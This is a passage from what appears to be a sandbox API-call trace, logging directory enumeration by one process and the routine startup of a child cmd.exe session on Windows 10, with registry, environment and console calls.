ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0117.236] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0117.236] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38feb94 | out: lpFindFileData=0x38feb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x74903000" os_pid = "0x9fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x408" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xa78 [0099.909] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6e2070000 [0099.909] __set_app_type (_Type=0x1) [0099.909] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6e2086d00) returned 0x0 [0099.909] __getmainargs (in: _Argc=0x7ff6e20a9200, _Argv=0x7ff6e20a9208, _Env=0x7ff6e20a9210, _DoWildCard=0, _StartInfo=0x7ff6e20a921c | out: _Argc=0x7ff6e20a9200, _Argv=0x7ff6e20a9208, _Env=0x7ff6e20a9210) returned 0 [0099.909] _onexit (_Func=0x7ff6e2087fd0) returned 0x7ff6e2087fd0 [0099.909] _onexit (_Func=0x7ff6e2087fe0) returned 0x7ff6e2087fe0 [0099.909] _onexit (_Func=0x7ff6e2087ff0) returned 0x7ff6e2087ff0 [0099.909] _onexit (_Func=0x7ff6e2088000) returned 0x7ff6e2088000 [0099.910] _onexit (_Func=0x7ff6e2088010) returned 0x7ff6e2088010 [0099.910] _onexit (_Func=0x7ff6e2088020) returned 0x7ff6e2088020 [0099.910] GetCurrentThreadId () returned 0xa78 [0099.910] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa78) returned 0x70 [0099.910] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0099.910] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0099.910] SetThreadUILanguage (LangId=0x0) returned 0x409 [0099.914] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0099.914] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbc75eff9e8 | out: phkResult=0xbc75eff9e8*=0x0) returned 0x2 [0099.914] VirtualQuery (in: lpAddress=0xbc75eff9d4, lpBuffer=0xbc75eff950, dwLength=0x30 | out: lpBuffer=0xbc75eff950*(BaseAddress=0xbc75eff000, AllocationBase=0xbc75e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.914] VirtualQuery (in: lpAddress=0xbc75e00000, lpBuffer=0xbc75eff950, dwLength=0x30 | out: lpBuffer=0xbc75eff950*(BaseAddress=0xbc75e00000, AllocationBase=0xbc75e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.914] VirtualQuery (in: lpAddress=0xbc75e01000, lpBuffer=0xbc75eff950, dwLength=0x30 | out: lpBuffer=0xbc75eff950*(BaseAddress=0xbc75e01000, AllocationBase=0xbc75e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.914] VirtualQuery (in: lpAddress=0xbc75e04000, lpBuffer=0xbc75eff950, dwLength=0x30 | out: lpBuffer=0xbc75eff950*(BaseAddress=0xbc75e04000, AllocationBase=0xbc75e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.914] VirtualQuery (in: lpAddress=0xbc75f00000, lpBuffer=0xbc75eff950, dwLength=0x30 | out: lpBuffer=0xbc75eff950*(BaseAddress=0xbc75f00000, AllocationBase=0xbc75f00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0099.914] GetConsoleOutputCP () returned 0x1b5 [0099.916] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e20afbb0 | out: lpCPInfo=0x7ff6e20afbb0) returned 1 [0099.917] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6e2098150, Add=1) returned 1 [0099.917] _get_osfhandle (_FileHandle=1) returned 0x254 [0099.917] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6e20afc04 | out: lpMode=0x7ff6e20afc04) returned 0 [0099.917] _get_osfhandle (_FileHandle=0) returned 0x248 [0099.917] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6e20afc00 | out: lpMode=0x7ff6e20afc00) returned 0 [0099.917] _get_osfhandle (_FileHandle=1) returned 0x254 [0099.917] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0099.917] _get_osfhandle (_FileHandle=1) returned 0x254 [0099.917] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6e20afc08 | out: lpMode=0x7ff6e20afc08) returned 0 [0099.917] _get_osfhandle (_FileHandle=0) returned 0x248 [0099.917] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6e20afc0c | out: lpMode=0x7ff6e20afc0c) returned 0 [0099.917] GetEnvironmentStringsW () returned 0x21cb43d5a10* [0099.917] GetProcessHeap () returned 0x21cb43d0000 [0099.917] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xa7c) returned 0x21cb43d64a0 [0099.917] FreeEnvironmentStringsA (penv="A") returned 1 [0099.917] GetProcessHeap () returned 0x21cb43d0000 [0099.917] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x8) returned 0x21cb43d6f30 [0099.917] GetEnvironmentStringsW () returned 0x21cb43d5a10* [0099.917] GetProcessHeap () returned 0x21cb43d0000 [0099.917] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xa7c) returned 0x21cb43d6f50 [0099.917] FreeEnvironmentStringsA (penv="A") returned 1 [0099.917] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbc75efe898 | out: phkResult=0xbc75efe898*=0x7c) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x0, lpData=0xbc75efe8b0*=0x4, lpcbData=0xbc75efe894*=0x1000) returned 0x2 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x1, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x0, lpData=0xbc75efe8b0*=0x1, lpcbData=0xbc75efe894*=0x1000) returned 0x2 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x0, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x40, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x40, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x0, lpData=0xbc75efe8b0*=0x40, lpcbData=0xbc75efe894*=0x1000) returned 0x2 [0099.918] RegCloseKey (hKey=0x7c) returned 0x0 [0099.918] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbc75efe898 | out: phkResult=0xbc75efe898*=0x7c) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x0, lpData=0xbc75efe8b0*=0x40, lpcbData=0xbc75efe894*=0x1000) returned 0x2 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x1, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x0, lpData=0xbc75efe8b0*=0x1, lpcbData=0xbc75efe894*=0x1000) returned 0x2 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x0, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x9, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x4, lpData=0xbc75efe8b0*=0x9, lpcbData=0xbc75efe894*=0x4) returned 0x0 [0099.918] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbc75efe890, lpData=0xbc75efe8b0, lpcbData=0xbc75efe894*=0x1000 | out: lpType=0xbc75efe890*=0x0, lpData=0xbc75efe8b0*=0x9, lpcbData=0xbc75efe894*=0x1000) returned 0x2 [0099.918] RegCloseKey (hKey=0x7c) returned 0x0 [0099.918] time (in: timer=0x0 | out: timer=0x0) returned 0x5cf56fa0 [0099.918] srand (_Seed=0x5cf56fa0) [0099.918] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0099.918] malloc (_Size=0x4000) returned 0x21cb43a54f0 [0099.919] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0099.919] malloc (_Size=0xffce) returned 0x21cb44d0080 [0099.919] ??_V@YAXPEAX@Z () returned 0x21cb44d0080 [0099.919] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21cb44d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0099.919] malloc (_Size=0xffce) returned 0x21cb44e0060 [0099.920] ??_V@YAXPEAX@Z () returned 0x21cb44e0060 [0099.920] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21cb44e0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0099.920] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0099.920] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0099.920] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.920] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0099.920] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0099.920] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0099.920] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0099.920] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0099.920] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0099.920] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0099.921] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0099.921] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0099.921] GetProcessHeap () returned 0x21cb43d0000 [0099.921] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d64a0) returned 1 [0099.921] GetEnvironmentStringsW () returned 0x21cb43d5a10* [0099.921] GetProcessHeap () returned 0x21cb43d0000 [0099.921] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xa94) returned 0x21cb43d7a10 [0099.921] FreeEnvironmentStringsA (penv="A") returned 1 [0099.921] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0099.921] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.921] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0099.921] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0099.921] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0099.921] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0099.921] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0099.921] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0099.921] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0099.921] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0099.921] malloc (_Size=0xffce) returned 0x21cb44f0040 [0099.921] ??_V@YAXPEAX@Z () returned 0x21cb44f0040 [0099.922] GetProcessHeap () returned 0x21cb43d0000 [0099.922] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x40) returned 0x21cb43d84b0 [0099.922] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21cb44f0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0099.922] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x21cb44f0040, lpFilePart=0xbc75eff410 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbc75eff410*="Desktop") returned 0x17 [0099.922] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0099.923] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xbc75eff140 | out: lpFindFileData=0xbc75eff140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x21cb43d8500 [0100.016] FindClose (in: hFindFile=0x21cb43d8500 | out: hFindFile=0x21cb43d8500) returned 1 [0100.016] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xbc75eff140 | out: lpFindFileData=0xbc75eff140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x21cb43d8500 [0100.017] FindClose (in: hFindFile=0x21cb43d8500 | out: hFindFile=0x21cb43d8500) returned 1 [0100.017] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xbc75eff140 | out: lpFindFileData=0xbc75eff140*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4dae1ce1, ftLastAccessTime.dwHighDateTime=0x1d51a3f, ftLastWriteTime.dwLowDateTime=0x4dae1ce1, ftLastWriteTime.dwHighDateTime=0x1d51a3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x21cb43d8500 [0100.017] FindClose (in: hFindFile=0x21cb43d8500 | out: hFindFile=0x21cb43d8500) returned 1 [0100.017] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0100.017] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0100.017] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0100.017] GetProcessHeap () returned 0x21cb43d0000 [0100.017] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d7a10) returned 1 [0100.017] GetEnvironmentStringsW () returned 0x21cb43d0fc0* [0100.017] GetProcessHeap () returned 0x21cb43d0000 [0100.017] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xacc) returned 0x21cb43d8500 [0100.017] FreeEnvironmentStringsA (penv="=") returned 1 [0100.017] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21cb44d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0100.017] GetProcessHeap () returned 0x21cb43d0000 [0100.017] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d84b0) returned 1 [0100.017] ??_V@YAXPEAX@Z () returned 0x1 [0100.017] ??_V@YAXPEAX@Z () returned 0x1 [0100.017] GetProcessHeap () returned 0x21cb43d0000 [0100.017] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x4016) returned 0x21cb43d8fe0 [0100.018] GetProcessHeap () returned 0x21cb43d0000 [0100.018] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8fe0) returned 1 [0100.018] GetConsoleOutputCP () returned 0x1b5 [0100.379] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e20afbb0 | out: lpCPInfo=0x7ff6e20afbb0) returned 1 [0100.379] GetUserDefaultLCID () returned 0x409 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6e20abb78, cchData=8 | out: lpLCData=":") returned 2 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbc75eff7d0, cchData=128 | out: lpLCData="0") returned 2 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbc75eff7d0, cchData=128 | out: lpLCData="0") returned 2 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbc75eff7d0, cchData=128 | out: lpLCData="1") returned 2 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6e20abb68, cchData=8 | out: lpLCData="/") returned 2 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6e20abb00, cchData=32 | out: lpLCData="Mon") returned 4 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6e20abac0, cchData=32 | out: lpLCData="Tue") returned 4 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6e20aba80, cchData=32 | out: lpLCData="Wed") returned 4 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6e20aba40, cchData=32 | out: lpLCData="Thu") returned 4 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6e20aba00, cchData=32 | out: lpLCData="Fri") returned 4 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6e20ab9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6e20ab980, cchData=32 | out: lpLCData="Sun") returned 4 [0100.379] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6e20abb58, cchData=8 | out: lpLCData=".") returned 2 [0100.380] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6e20abb40, cchData=8 | out: lpLCData=",") returned 2 [0100.380] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0100.381] GetProcessHeap () returned 0x21cb43d0000 [0100.382] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x0, Size=0x20c) returned 0x21cb43d6560 [0100.382] GetConsoleTitleW (in: lpConsoleTitle=0x21cb43d6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0100.560] _get_osfhandle (_FileHandle=1) returned 0x254 [0100.560] GetFileType (hFile=0x254) returned 0x3 [0100.588] ApiSetQueryApiSetPresence () returned 0x0 [0100.588] ResolveDelayLoadedAPI () returned 0x7ff91ab4d990 [0100.820] BrandingFormatString () returned 0x21cb43d1850 [0101.212] GetVersion () returned 0x3ad7000a [0101.212] _vsnwprintf (in: _Buffer=0xbc75eff930, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xbc75eff8c8 | out: _Buffer="10.0.15063") returned 10 [0101.212] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.212] GetFileType (hFile=0x254) returned 0x3 [0101.212] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6e20b7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0101.212] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6e20b7f60, nSize=0x2000, Arguments=0xbc75eff8d0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0101.212] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0101.212] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xbc75eff828, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff828*=0x26, lpOverlapped=0x0) returned 1 [0101.212] _vsnwprintf (in: _Buffer=0x7ff6e20b7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbc75eff8f8 | out: _Buffer="\r\n") returned 2 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.213] GetFileType (hFile=0x254) returned 0x3 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0101.213] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbc75eff8c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff8c8*=0x2, lpOverlapped=0x0) returned 1 [0101.213] _vsnwprintf (in: _Buffer=0x7ff6e20b7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xbc75eff8f8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.213] GetFileType (hFile=0x254) returned 0x3 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0101.213] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xbc75eff8c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff8c8*=0x34, lpOverlapped=0x0) returned 1 [0101.213] _vsnwprintf (in: _Buffer=0x7ff6e20b7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbc75eff8f8 | out: _Buffer="\r\n") returned 2 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.213] GetFileType (hFile=0x254) returned 0x3 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x254 [0101.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 